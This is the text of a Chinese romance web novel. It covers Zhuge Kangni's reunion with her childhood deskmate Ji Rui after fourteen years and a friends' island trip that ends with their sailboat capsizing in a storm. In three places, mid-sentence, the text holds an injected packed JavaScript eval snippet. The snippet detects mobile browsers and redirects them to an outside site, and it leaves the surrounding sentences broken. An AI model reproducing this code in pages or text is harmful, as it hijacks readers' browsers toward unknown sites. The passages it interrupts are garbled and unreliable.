《然后,和最讨厌的朋友结婚了》 1. 01 这个冬季不太冷 ——《然后,和最讨厌的朋友结婚了》—— 南烛照野/文 晋江文学城独家发表 2025.4.15 【第一卷:重逢·暖冬褶皱】 ./ 这个冬季不太冷。 很温暖,在梧桐树叶枯槁的陵城,女孩们穿个绵绵薄薄的羊毛大衣就足够了,康妮眼前一大片一大片满是秋季尾巴般的景象。 昏黄恬淡的、人群寡少的、有点湿漉的凉意。 雾蒙蒙中,树枝溜珍珠般倒挂下几滴雨水,打湿她的耳廓,街头巷尾的酱香老酒溢出来浓郁醇厚的香气,檐角红灯笼在风中微微摇晃,路人的香烟的烟气儿吸染到肩头。 当骑着小车过了丰收门的铜雕建筑,她这才意识到,这里不愧是生她养她的小城。 新年的钟声从街巷里的春晚重播中穿透,撞碎了清晨的薄雾,使得她眼前一片豁然开朗。 市中心。 RICHES广场。 所以B座究竟在哪里?为什么不按照ABCDE的顺序安排楼次。康妮哭笑不得,在一旁的悠尼可糕点屋徘徊不前。 这时候Jerry吊儿郎当地在微信里大放厥词。 “猪一样。” “往上看看,那是谁?” 康妮抬起头,嫣红的唇瓣开开合合,像是在骂脏话。 他撑着栏杆站在高处向下看,目光聚焦在那张熟悉得不能再熟悉的高鼻深目的脸上,眼底闪烁而湿润,怔了几秒,天灵盖儿都忽然透亮了。 那个十四年前穿着淡蓝色花苞裙踩着蕾丝袜漆皮鞋,跟个洋娃娃小手办似的女孩子长大了,成熟了,竟然真的重新出现在了自己的面前。 短暂的确幸之下,Jerry神色黯淡下来。她时常强调发小,朋友。对她来说他可能就是个令人讨厌的,那个男的。 讨厌就讨厌吧,至少比没有情绪好。 起码能让她记住自己。 抬眼的第一瞬间康妮也很意外,那是很熟的一张脸,小时候闹脾气总爱说的一句话是,就算是化成灰我也认得你。 可是长大之后,明明是很熟悉的人,却有了截然不同的陌生感。她心想,Jerry现在看起来像个都市精英。 熨帖的发型,干干净净的得体穿搭,身型颀长,轮廓分明。 真正见到面后讲话很有分寸,彬彬有礼。 他们好像在某个瞬间突然长大了。 他们是大人了。 小心翼翼的成年人。 “诸葛……康妮?叫这个?” “昂?”她很疑惑,这么多年的老同学居然连自己的名字都不记得了吗? “没什么。”Jerry笑得释怀,“我想告诉你,我没有改名字。” “好的小季季。” “好奇怪的称呼。”季瑞在电梯间的倒影里细细观摩她浓密的眼睫,随后目光偏移,抿着笑按下了12楼的按钮。 “哇塞,好漂亮,有点高端,我第一次见这种风格的自习室,原来你放暑假来这种地方做兼职呀。” “嗯,我去给你倒杯水。” 清水摆到了康妮面前,她喝了口,在玻璃杯上落下一个口红印。季瑞来到康妮身边,翘着二郎腿坐下,也端起另外一杯水。 画面久违地变平静,很祥和的氛围,在这样相安无事,一点儿也不鸡飞狗跳。 安安静静的自习室里面,康妮开始慢慢思考,想了很多事情。 为什么会来自习室?她旁边坐着的这个人,原来是自己十四年前的好朋友吗? 彼此认识的时间几乎占据掉生命的一大半长度,一股陌生又熟悉的感觉霍然而生,微妙至极。 他们是怎么重新联系上的呢? “砰!” 这一声枪响在猎鹰的靶场,接下来这样震撼的射击在半分钟内重复了十次,这是康妮的第二轮步枪射击。 不过她还是更喜爱M92的手感,十五米人型靶是客人们的最爱,康妮也不例外。 “10环,9环、10环、7环,准星偏移,右偏下。”安全员相当敬业地重复着靶场打靶实况,嘱咐康妮,协助康妮平衡身体,调整呼吸,稳定打靶。 女生练枪,能从枪响的音爆中获得力量感,康妮在一年的感情空窗期中重新拾起了力量,不光是在猎鹰,更是在方方面面。 譬如爱上马拉松,爱上公益项目,尝试各种各样的运动和兴趣爱好。 认真吃饭是第一步,早睡早起是第二步,好好爱自己是最后一步。 生活走向正轨的一年后,她在猎鹰卸下弹夹,将枪归位时,突然想到了一个人。 季瑞,Jerry,那位酷爱拳击的老同学。 那个她算不上太喜欢,也算不上太讨厌的,有时候很讨厌,有时候又很喜欢的。 一个莫名其妙的好朋友。 虽然他们已经很久很久没有见面,也没有说过一句话。 但莫名有股不自觉的力量牵引着她不带任何顾忌地在微信上找出他的聊天框。 就这样,在射击靶场里坐稳,将浓茶放下,身体向后仰,编辑好文字,果断地发出。 她不是在钓鱼,也不是在试探,她确实想练拳击。 【喂,能不能把你之前的拳击老师介绍给我?】 对面连回三个问号,接着认认真真问——为什么、怎么突然想练、等我寒假回家带你找我师父、哈哈哈…… 接着是完全不出乎意料的嘴贫,嘲讽,阴阳怪气。 【怎么就突然想起来拳击了?】 【好久没联系,躺尸列表,差点以为你把我删了。】 【现在干嘛呢?】 康妮反问他在干嘛。 两人不约而同的,保留着十几年前的默契,同时发出一条信息。 【在上学。】 【在上班。】 康妮身上的社会气息很浓重,浸染过的自我保护意识让她脱口而出:“你没有女朋友吧,方便讲话吗?现在还能方便在一起玩儿了吗?” 对面似乎是被这句话问懵了。 半小时后没来信,康妮也没了分寸,难道是这句话冒犯到人了? 还是她说错什么话了? 还是她这样说话,太直接了? 看上去像是在暧昧,或者像是一种赤裸裸的试探,就仿佛她看上他在钓鱼一样。 这对于很多年没见过面的老朋友来说,好像是有些不得当。 正当她不知如何下台的时候,那边回信了。 【无。】 康妮为了缓解尴尬气氛,投出一条20s的语音条,叙述当年同学们之间的八卦。 “你知道吗?方子昕和夏梦。男的我小学同学,女的我高中同学,他俩在一起了。陵城真小,男同学还把我给删了,说不方便。现在估计快结婚了,我觉得,他这么做很亏,他们损失了一千块钱份子钱。” 季瑞乐得要命:“我笑死了,你还包1000,挺大方啊扑克脸。” 熟悉的贱感来了,当年也是这么叫她扑克脸,她从小就不爱笑,说好听点是清冷,不好听是面瘫,又贱又可爱的形容是扑克脸。 “嗯,先不说了,我今天监考。我得多带点纸。” “上次学生考四级,跑讲台上来跟我讲非要拉屎,非得拿手机下去买纸。” “这种违纪行为怎么可能允许他拿手机下去买纸???” “我不给他拿,我到处借纸,这学生脸都憋红了,我也很急啊,我脸也红,所以我决定以后每一场监考都会带上刀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812654|175316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 具、铅笔、橡皮和纸巾。” Jerry的语音条8秒,全是开水壶烧开般的笑声。 【笑死了。】 【我笑得抖】 【你也是不容易,诸葛老师,你真是好人。】 好巧不巧的,康妮班级的学生拨来电话,表示自己的手机掉粪坑里了。这件事康妮也同样转述给了季瑞。 【去吧,中国好导员。】 监考结束,康妮第一时间回到办公室开始加班。 “过过过!全部给我过!” “海底捞,我捞,我变着法捞,我三百六十五度回旋捞,毛概、习概不好好学,挂科!算了写满了,踩点了给60吧,形势与政策,没刷课?为什么不刷课?嗯?算了平时分给100,还是59???” “大学生职业生涯规划?过!全部合格!” “劳动教育,过过过。” 鼠标在办公室电脑上了疯狂点击,平时分100分库库库往外送。 季瑞正在期末周,看到康妮发来的花式打捞学生的视频也笑笑。 【请你来当我的老师可以吗?诸葛老师,我的final靠你了。】 【我不想做辅导员,不想做老师,我活人微死,我想摆摊赚钱,卖烤红薯,摇奶茶,就是不想干辅导员,什么叫做脱不下孔乙己的长衫啊,这就是。】 几张过年期间卖灯笼,卖三文治的街边摊视频和图片传送了过来。原来她心里曾经想过的那些事情,季瑞早就做过了,做得还很好。 真是让人心生向往,羡慕极了。 “就在我们高中门口卖。” “三中吗?” “对。” 那是康妮和季瑞的母校,在人生当中具有非凡意义的母校,是很好的高中,是两人共同的高中。陵城市第三中学,曾用名五松山中学。 “你知道的,哥们儿就爱做做菜。” “过年期间去卖的?” “当然。” “好羡慕。我要参加国培,技能大赛,补教案,写工作日志,好难受,好恶心。我补手抄的材料补得想死啊。” 学生放假,辅导员的噩梦。 学生夜骑,辅导员的噩梦。 学生跨年,辅导员的噩梦。 我不活了。 Jerry是最会添油加醋的:“好吧,还有明天凌晨一个电话,喂,老师我出事了。” “不许说了。” 她隔空挥了挥拳头。 “不买个手抄机器人吗,然后把服务卖给你们学校同事,说不定还能白嫖几顿crazyThursday.” “我才不是那种投机取巧的人呢。” 康妮瘪瘪嘴,就是不认同季瑞的话,她从小到大就爱和他作对,就爱反驳,天天炸毛。 “笨蛋。” 季瑞已经在消息的另一头做好诸葛康妮和自己大吵大闹,大战八百回合,唇枪舌战的准备了,没成想康妮没啥反应,回复了个“哦哦”就结束了。 后面才反应过来,是学生找康妮有事。 【不是,他58分,他自己心里没有数吗?找我是几个意思?烦,不想看工作机,想逃避,真的,学生给我发国奖省赛的喜报我都不想看了。】 【我甚至不想在寒假的早晨知道你们比赛拿了第一名,我的心肾肝承受不住。我要休息!!! 【讨厌学生,想把学生毙了,我想摆烂,我不要做负责任的辅导员。】 Jerry发来一张照片。 【自习室上班呢。】 过了很久都没有得到康妮的兴致冲冲的回复和询问,只有一条留言。 【在和学生谈话。】 她还是和以前一样,口是心非。 讨厌学生,讨厌他。 2. 02 温州炸鸡 从工作中晃过神来的康妮死气沉沉躺在家里的沙发上,举起手机来看,眼前一亮。 “好漂亮的自习室,这里自习多少钱一天啊?” Jerry发来小程序。看上去像是个与时代接轨的年轻老板开的店铺,小程序的左上角有一行小字,上面写的是自习室的地址。 陵城CBD,RICHES广场? 【昂,放寒假了没事干,就在这边。】 康妮发来一张汗流浃背的表情包,对季瑞的这种行为表示非常不解,她一放寒假就开始什么事情都不想做,只想躺平。 “不是,你为什么放假了还工作?” 对面回复得倒是挺平静。 【兼兼职,正好看看文献啥的。】 在RICHES广场那边啊,好近,才1.87km,感觉跑步就能过去了。 康妮在微信里看到Jerry正在邀请自己来自习室玩,碍于前几天刚拔完智齿,状态不佳,右脸有些微肿,陷入了犹豫。 于是索性大大方方地告诉季瑞自己拔了智齿,脸肿,不想见人。 【偶像包袱?怕丑?哈哈哈】 康妮有些羞恼,被人激得逆反心理上来了,想着,来就来,她恨不得端个平底锅再来,把欠猪狂扁一顿。 【对好近,你可以找我玩。我们一块去长江路吃温州炸鸡,不过你刚拔完智齿吃不了。你可以看着我吃。】 好欠。 谁能懂温州炸鸡对陵城长大的小孩来说,是一种怎么样的诱惑吗? 即使是牙龈肿疼也抵挡不住的,是带着童年的记忆的,裹着秘制甜酱和辣酱,带着老式炸鸡的绝顶香味儿的世界上最好吃的炸鸡无疑。 于是康妮很激动地说,我去瞅一眼自习室。 【来,来!】 等了大概一刻钟有余,季瑞终于坐不住了。 圆珠笔在自习室的前台敲敲打打,左顾右盼,草稿纸捏出来几道褶皱,想了半天。不知道要使用怎么样的文字才能显得人更得体,不至于吓到她。最终扣下来四个字。 【啥时候来?】 康妮回,就现在,我刚刚在点评上团了一张自习体验券。 【好得很,来刷刷好评。】 接下来湿润的风同样吹到了季瑞的脸上,在悠尼可糕点屋的二楼向下看,他慢慢走出来,好整以暇地看着微信上的留言。 还是跟个小傻子一样,从小到大都是路痴,不晓得问人。 又内向又不好意思,踌躇着看了几眼路人,最终还是依赖他。 【在哪里呀,找不到B座。】 他叫她往上看。 骂骂咧咧的样子真可爱,和小时候一模一样,还是那么的漂亮,相比小时候,多了些源自社会的圆融,尤其是两人单独在电梯里相处的时候。 她好像比以前更加得体,懂得替人揽电梯,微微点头。 康妮长大后终于懂得用目光直视别人,认认真真地盯着别人看,有穿透力的审视。 终于不是个躲躲闪闪的自卑小女孩了。 真好。 她长大了。 “笑什么?”康妮瘪嘴,挥挥拳头,想打人。 “没什么。” Jerry的笑并没有收敛,反而咧得更开。但他这一次并没有伸出手来揉康妮的脑袋,他好像也变了很多。 很克制,很小心翼翼。 他坐下来,看到康妮在玻璃水杯上印下正红色唇印,温温柔柔地给她递过去一张面纸。 “康妮,其实。这个自习室是我自己创立的。” 诸葛康妮在那里非常惊叹地摇摇头,放下了手中的水杯,啧啧声不断,“季老板”也脱口而出,老板装兼职生,有点意思。 “季瑞,我觉得你和小时候还是有区别的。” 季瑞眉心一跳,鼻息窜出热气,心率持续加速,等待着康妮的下一句话,就像在等待着什么不得了的审判一样。 很期待她接下来说的话,也对她将要说的话产生了一些担忧,到底?在她心目中,自己究竟是什么样子的呢。 这么多年过去了,还是那个……讨厌的朋友吗? “什么?” 他紧张到压下去四五口清水。 “有种被社会蹉跎过的美感。” 他紧跟着询问:“好还是不好。” 她答,好。 人是需要成长的。 季瑞这才放下心来,杯子轻碰桌面的同时,水杯里的水正在摇晃,和心海一同荡漾,摇摇晃晃间他找回了身为康妮的老朋友的自信。 “我天天说自己是有工作经验的应届生,不过我确实走很远的路才能走到今天,我觉得我的小学老师绝对想不到我还会读研究生甚至直博,因为我小学成绩倒数。” 康妮顺着他的话继续说下去:“我觉得小学老师绝对想不到我会当大学老师。” “其实很多人生的成长就是这样依靠顿悟,反正至少对于我来说是这样。我在很多关键节点的时候想明白了一些事情,然后才会坚定不移地往前走,知道我要干什么。” “我也一样。” 沉默须臾,Jerry发出邀请:“要一起去长江路吃温州炸鸡吗?” 要!!! 他们站在香得怕人的炸鸡店铺的街边,拎着炸鸡蹲在那里啃,甜酱既滴在透明塑料袋上,也尝进嘴里。 蹲在那里的两个成年人貌似在这样的时刻又变回了小孩。 他俩笑嘻嘻地吃着炸鸡,康妮则吃一口捂着脸蛋疼一下,一边疼一边吃。季瑞则在一旁用手机记录下她出糗的时刻。 打打闹闹,亦如当年的两小无猜。 长大真好。 大人们常说,等你们长大了,会面临非常多的烦恼,再也不会像小孩子一样没心没肺天天开心了。 可是长大了真的太好了,长大了意味着有独立自主的能力,长大了意味着我们可以对社会、国家和世界有着更加深邃的体验和感悟。 我们一定会长大,我们也需要长大,长大后我们才能真正地成为自己。 成为一个独立的成年人。 他们重逢得莫名其妙,转折点也很特殊,正值新年,而在除夕那一夜的时候,康妮甚至完全没有想过还会在自习室见到这个十四年前的老朋友。 分别后,他们再度沉默于聊天框,怎么也变不回原来的小朋友模样。 【在做什么?】 这句话在季瑞的聊天框里反复捶打了很久,没能发得出去。 这些未曾说出口的话变式成了“在忙吗”“忙什么呢”“过年走亲戚了吗”“做什么”“干什么呢”等等。 最终千言万语凝聚成了一个删除键。他实在不知道该如何开场。 真的到这里就结束了吗?我们。 【Jerry!快看!是不是大师级的面膜,我调面膜真是太厉害了,完全没有一丁点气泡。请封我为,古希腊掌管面膜和厕所的神!】 消息弹出的一那瞬间,某些人的眼睛都亮了,但他仍然佯装镇定。 从初中开始他就知道诸葛康妮是个非常爱美的小女孩子。 其中还有一个原因是因为社恐,还有另一个是因为喜欢洗澡,把洗澡当成一个学科,在护肤这门学问上都能考研。 爱美臭美,夏天了会穿各种各样的小裙子,梳公主辫,小丸子头。 长大了自然是更加爱美。 于是他说:“不愧是大师级面膜,你如果调华夫面包也不一定会有气泡,你会做出世界上最好吃的华夫面包。” “我爱吃巴斯克。” “好。” 大年初三的晚上,Jerry在家做失败了三四轮糕点。 最终将成功地巴斯克风蛋挞装在两个食品纸盒子里。一盒是进口酒心巧克力味的,一盒是蛋香原味的。 有的好看,有的丑,Jerry在微信上告诉诸葛康妮,让她凑活吃。 其实是想见她一面。 哪怕最后一面也很好了,季瑞还是想见见康妮,如果说,这辈子只能和康妮再见最后一面的话,他不会更贪心,最起码让康妮尝尝自己亲手做的甜点。 这样就很好了,他会永远记住再见的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812655|175316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这几面,然后让康妮重新回到自己的生活。 毕竟他是康妮最讨厌的人,他才不要打扰她。 “这是什么?” 季瑞抵达康妮家附近后跨下摩托,戴着头盔双手接过康妮递来的纸盒,里边晃里晃荡地发出清脆的餐勺的碰撞声。 “我准备了个小礼物给你,咖啡杯,不用谢。” 季瑞在内心说了声谢谢,坐在摩托上说礼物送到了他心坎上。 其实康妮送什么他都喜欢,他表面上还要装作一副无所谓的样子,勾起嘴角笑笑。 康妮真是个好小女孩,这个杯子他才舍不得用,他要洗干净了晒晒,放在书房里最显眼的位置上供起来。 大年初三,爸爸妈妈在家休假。诸葛振在家中静坐,看到诸葛康妮端来两盒甜点要他吃,下意识地嘱咐:“豆豆,你下次买东西的时候注意点,吃多少点多少,甜的我们这么大年纪的人又不能吃多,别浪费粮食。” “老爸,这不是点的,这是季瑞做的。” 嫌弃的目光转而变平静,诸葛振捏起一块巧克力蛋挞来尝了尝,又说:“嗯,自己家手工做的就是不一样。” “你记得季瑞?” 诸葛振莫名其妙地看着女儿:“记得啊,你小时候的同桌,你最讨厌的同桌。” “讨厌”用陵城话着重咬字,别有一番味道。 老妈丁洁也走过来,放下手中的百合花和节节高,拿了一块尝了尝,听到丈夫说这是Jerry做的,说,哦,是季瑞做的啊,好吃很正常啊,你以为全天下小孩都跟诸葛康妮似的,四体不勤五谷不分。 对,她四体不勤,五谷不分。 她放假回家就是摆烂的状态,每天睡得很早,第二天还是睡不醒,每天都是活人微死的状态。其实时间长了,诸葛康妮就会不由自主地反思自己,是不是因为自己太懒惰了。 【季瑞你说,我怎么样才能改掉懒惰。。。】 【不用改。】 【可是这并不是什么美好的品德。】 季瑞在电话那头笑笑,对着手机慢悠悠地乱七八糟地瞎讲,哄她开心,他知道发生这一切的原因都是因为康妮身上的那根弦崩得太紧了。 “人生的意义在于躺平,躺着才舒服,命运将我击倒,我得找个舒服的地方继续躺着。还有啊,网络用语都说,世上无难事,只要肯放弃。” “你丫的。”康妮气得从床上坐了起来,捶被子,“我需要这么消极?” “你需要休息。”季瑞安抚道。 “可是我已经这样好多天了……不过,你怎么知道我睡到12点的?默认早上不找我?不行!我不能这样下去了,我要奋发图强,从明天开始,我要12点准时睡觉,第二天早晨6点钟准时起床。我要一天跑15km,在寒假考三个专技证书。” 季瑞笑得挺欢,继续添油加醋:“又是平凡的一天,体温正常,呼吸正常,精神失常。” 【可是十二点钟才起床真的让人很有挫败感,我感觉醒过来的时候被全世界抛弃了,我又浪费了我的生命,我不应该睡觉,我应该学习、考公、考英语,或者锻炼,写作。】 季瑞突然弹出来一条巨长的消息,一看就是从哪个网络热贴里扒出来的。 【你在瞎想什么,十二点起床才是最好的。】 【这个点起床的人,是未来之星,国家栋梁,是成语里面的学富五车,才高八斗,是都市小说里的城市之光,是俗语里的天秀之人,是武侠小说里的人中龙,是吾日三省吾身的自律者,是相亲节目里面的心动嘉宾,是自然界的丛林之王,是世间所有丑与恶的唾弃者,是世间所有美与好的创造者。】① 不好好努力,那就积极相亲吧。 康妮说完这句话的时候,Jerry正在家里悠哉地吃着蛋挞,喝着茶呛了嗓子,差点一口喷出来。相亲?什么时候诸葛康妮也到了要相亲的阶段了。 说不清这究竟算不算紧张。 总之,他很不爽。 “才多大就相亲?” …… “我也该谈恋爱结婚了。”她说。 3. 03 翻船 【第二卷:上了贼船·海岛狂想曲】 ./ Jerry这次没有沉默。 “好啊,那说不定没几年之后还有机会听你吐槽老公,抱怨带孩子辛苦。” 这时候他已经做好了最坏的打算,心房被掰成碎一地的蕊芯。内心就只是奢求,希望这一次不要再跟康妮失联了。 即使诸葛康妮最终真的在他的假设中嫁给了一个并不太好的、也不太爱她的男人,只是为了相亲而相亲,为了结婚而结婚。 也有可能,康妮嫁给了自己爱的人。 不管怎么说,如果康妮要是真的结婚了的话,他一定不会去的。因为不想搞砸婚礼,以及看不了那样的场面。他无法接受,他会崩溃的。 “诸葛老师,别一天到晚的想着去杏花公园相亲跟那些大爷大妈斗智斗勇了,有件事跟你说一下,大年初五我们几个朋友准备去海岛玩儿,相当于度假过冬,你我看你在家待着挺闲的,闲着也是闲着,要不然跟我们一起去?” “真的假的。” “我说过假话?”Jerry笑。 “可以,goodidea!说起来我好久都没有旅游了。假期都过了一大半,再不出门旅游感觉像浪费了一整个寒假。” Jerry在微信的另一头将团购的轮渡票拍下来发送给康妮。两人就像小时候第一次在班集体里参加春游一样异常兴奋。 讨论带什么吃的,带什么玩儿的,带什么生活用品,去海岛的话需不需要携带什么驱蚊水; 他们还会在一起讨论携带怎么样的户外刀具和哪种花纹颜色的可爱露营毯。 更快乐的是,康妮找到了当初春游时头上带的那块奶油黄色小方巾。 小方巾上是岁月沉淀过的棉布味儿,上面还染着当初没洗干净的酱油渍。 诸葛康妮甜蜜蜜美滋滋地睡上了一觉,只记得整理行李的时候哼着小曲儿,时间过得很快,整理东西的时候异常的顺利。 等她睁开眼睛,敞开怀抱拥揽咸湿的海风时,人已经在轮渡上了。 轮渡的客房里住着两人的共同好友,张哥张姐,张泽艺和张朝清; Jerry的生意伙伴,那位华科毕业后靠时代少年团剪辑切片发家致富的互联网数字游民章雨晴; 目前正在红圈所实习的杨律师; 还有古灵精怪的时山山,朋友们通常戏称她为433,高中时在文科班读书的那些日子里,她的经典名句大家是怎么也忘不掉的,一旦想起来还是会捧腹大笑。 那时候文科班高一,仍是要学习理科知识,于是设置了一个理科科目课代表,就是433本人。 她说,“你们语文课代表、班长、英语课代表、历史课代表怎么了?谁有我牛逼,我是物化生课代表!我是三合一。” 有433的地方永远充满欢声笑语,一路上她都在讲话,话题永远不断,是个精力四射的活泼小太阳。 连康妮这种情感含蓄、面无表情的扑克脸也忍不住说:“你好可爱,我好喜欢。” “哈哈哈哈哈哈哈哈哈!zei笑歪了。”说罢433的眼睛亮晶晶的,一眨一眨纯净地盯着诸葛康妮,“我也喜欢你。” “我不喜欢季瑞,我讨厌他。”康妮直言不讳。 433收回笑容,看了一眼季瑞,眼珠子滴溜溜转了两圈,看到季瑞恶狠狠地削着水果,一边削一边笑,于是非常审慎地回复:“我……咳咳,我一直不喜欢季瑞,我喜欢大美女!” 切成方格子块儿的昌芒和一瓣一瓣的亚城甜瓜递过来,摆在433和康妮两人的面前,季瑞用钢叉戳起其中一块甜瓜,送到了康妮的嘴边。 “帮我尝尝甜不甜,不甜就不要给我吃了。” 康妮别过脸,不吃。 433非常灵性地端着台芒离开了现场,溜回自己的房间,却在群里和剩余几个小伙伴聊起了八卦。 他们当然是在聊季瑞和康妮。 应该没有好朋友上船后看不出来季瑞喜欢康妮,看出来季瑞对康妮有意思,就像是早上睡醒了没瞎能看得到初升的太阳一样。 但是两个人之间的关系上看上去很微妙,就像是……季瑞在用一种既不明显也很错误的方式在表达自己的喜欢,甚至让康妮更加讨厌他了。 没错,能看出来康妮非常排斥他。 两个人跟完全没戏一样。 433第一时间在小群里嘲笑季瑞。 *【陵城状元堂】(3)* 433:哈哈哈哈哈!碰一鼻子灰哈哈哈。 433:献殷勤失败。不是,你要么把那瓜给我吃吧别浪费。 Jerry:?闭嘴。 433:康妮喜欢我。 Jerry:所以? 433:所以你失败啊。 杨律:能不能别吵,我要上会了。 433:出去玩还工作,不许工作。 Jerry:出去玩还工作,不许工作。 杨律:…… 轮渡靠岸后,几人第一时间坐观光车来到了酒店,张哥张姐第一时间说累,要躺尸。 杨律和章雨晴打算在当地吃点特色菜,只有433精力最充沛,浑身上下使不完的牛劲,她要求再坐一趟小帆船。 其实可以理解,内陆的孩子们大多小时候只能见得到江河湖,见到大海通常都会很兴奋,很向往。 康妮也是一样,曾经对海充满了好奇,但是现在她对海有恐惧感,这片海域勾起了她的某些很不妙的回忆,头皮一阵刺痛。 其实她不太想坐船。 “拉倒吧433,你爱坐船你自己坐去,没人陪你,都坐了一整天的船了还没坐够呢?”季瑞笑得嚣张,在损友面前丝毫不给情面,直接驳回了433的乘船邀请。 “我就是想坐船。” “反正我不可能陪你去的。”季瑞非常干脆地拒绝,转身来到酒店前台办理入住手续,还走过来伸手问后面的康妮和433要身份证件。 证件到手后,做好登记,就发现康妮被433拐跑了。 这两个人跑去坐船了? 【陵城状元堂】(3)的小群里消息炸个不停。 季瑞:「什么意思这是?」 季瑞:「人呢?」 433:「你抽啥风呢」 433:「你要累你先睡呗,别吵。」 季瑞:「康妮人呢?」 433:「图片」 季瑞:「哪儿呢?」 433:「搂搂抱抱图片」 433:瞎了? 季瑞:「我说位置!?」 433:你不是不可能来吗??(邪笑) 433:我们在月亮湾这边。 季瑞:来了。 抵达小帆船的时候,季瑞别扭地在船里转了个身,非常憋屈地将自己的腿折叠了下,弓腰拉了拉船帆。 “不是,这有啥好坐的?这有劲?” 听到季瑞的话后,433翻了个巨大的白眼,接着将手中的照相机递到了诸葛康妮的手中,撒娇让她帮忙给自己拍照。 “这种男的,真的,活该找不到女朋友。”433阴阳怪气。 季瑞知道433这话什么意思,他瞥她一眼心领神会地笑笑,倒是一点没生气。 掌舵的老渔民肤色黝黑,伸出一双粗砺的手朝着不远处指了指,告诉他们三个人尽头的小岛叫做翡翠岛,再往前面是无名岛和绝迹岛,还有个叫做鬼岛,说是上了鬼岛的人是怎么也回不来的了,只能等死,在鬼岛变成一堆白骨。 433和康妮瑟缩了下身体,季瑞却说自己很想上这个所谓的“鬼岛”看看。 “神经一样,有病,装得很。”433捧起一瓢海水朝着季瑞的身上扬去。 海水打湿了季瑞的白衬衫,刻印出季瑞的清晰可见的腹肌线条,他伸手掀起自己身上的那件白衬衫。海水夹杂着男人身上的薄汗,有些黏润,布料和肌肤相贴。 他觉得这个时候不报复一下是不行了。 于是他也捧了海水朝着433的方向“杀”去。 他看到康妮也在玩水,于是朝着她的方向靠去。 因为他知道啊,诸葛康妮这种性格的小女孩是不可能泼433的,那还能准备泼谁水,那当然是冲着他来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812656|175316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着季瑞那一副“你泼我,你倒是泼我啊”的样子,康妮终于忍不住了,她放肆了一回,双掌合拢并做小瓢,朝季瑞的身上疯狂泼水。 日落余晖之下,季瑞浑身湿透,蓬松的头顶也被海水沾湿,甩起来像个小猎犬。 轮廓分明的下颌垂下几滴海水。 她分明看到他非常高兴地在笑,季瑞的目光从不偏移,由她的鼻尖转移到她的眉心,再到直视她,深深地看进去,眼神好像在说“泼得好”。 下一秒康妮回避过他的视线,腰身一扭,继续将手探进海里,这时候她还以为是因为433在船上咯咯笑使船晃来晃去。 直到老渔民用海岛当地方言说了一句,不好了。恐惧感才顺着脊背爬上来。 老渔民布满茧子的手刚刚触碰到帆缆,天空突然裂开一道蓝紫的闪电。 就这样从天空上划下,垂直地劈下来,除了第一道,还有第二道,第三道,每道雷劈下来都伴随着小船巨大的颠簸。 “你们抓紧!” 老渔民冲着船上的几个人嘶吼着,语音刚落,咸涩的海风已灌了满嘴,黑云压过来,转瞬浸透整片天空,几乎要抵到人的脑袋上。 五米长的帆船在浪尖上颠簸,船尾的救生圈早就被掀飞,在铅灰色的海面上弹了两下就瞬间消失不见。 季瑞死死攥住康妮的手腕,反复不停地在她的耳边对她说不要害怕。 另一边的手则抓住433,但她很快挣脱了,转而抓住身边的老渔民。433临到这种时刻了都不愿意相信季瑞,她认为抱紧海岛土生土长的老渔民才是更可靠的选择。 康妮的指甲陷进季瑞手背的肉里,又一个巨浪拍来,船体发出令人牙酸的吱呀声。 她看见主帆的固定绳正在一点点脱落,暴雨如注,如同刀刃般在缆绳上割打。 同样遭遇此等情景的当然还有其他的游客,三个人清清楚楚地听到海岛的老渔民已经开始碎碎念些“完了”“要死了”这类的话,甚至已经开始呈跪拜状祈祷妈祖娘娘能来救救自己,他们仨就知道,可能真的要完蛋了。 “季瑞,我不会游泳,我害怕。” 她牵住他的衣袖,就像十四年前的夜晚,十一点多从小课教室的八楼往下走时,因为夜盲症,紧紧抓住他的衣袖一样。 让他感觉到,她很依赖他。 真好。 濒临死亡前他还能这样想。 主帆应声落地到刹那,整艘船像被掀翻的龟壳,瞬间倒扣进海里。 433抱紧老渔民的臂膀,凭借着渔民多年来的好水性,他们漂着游着来到一块暗礁处,老渔民从湿漉漉的兜里掏出来一个对讲机。 索性对讲机发出了沙哑的信号接收音,老渔民按下求救按钮。 咸腥的海水涌入鼻腔时,康妮脑子发胀发酸,隐约间好像听到有人在喊自己的名字。她依靠着自身的浮力在海底飘荡。 浮上来再沉下去。 雨水像冰锥般刺在脸上,她在海水中拼命的扑腾。 片暇后,她看见五百米外有几点橘黄色的灯光在浪涛中起伏,看上去像渔船的探照灯漂浮在海面上,在光源的指引下,季瑞正扒着一块船板朝她的方向挥手。 慢慢,慢慢地,也在抓紧一切时间的,朝着她的方向靠近。 “抓紧我!” 季瑞的声音忽远忽近,又一道浪头打来,康妮的太阳穴又被海浪拳头般敲了一回。 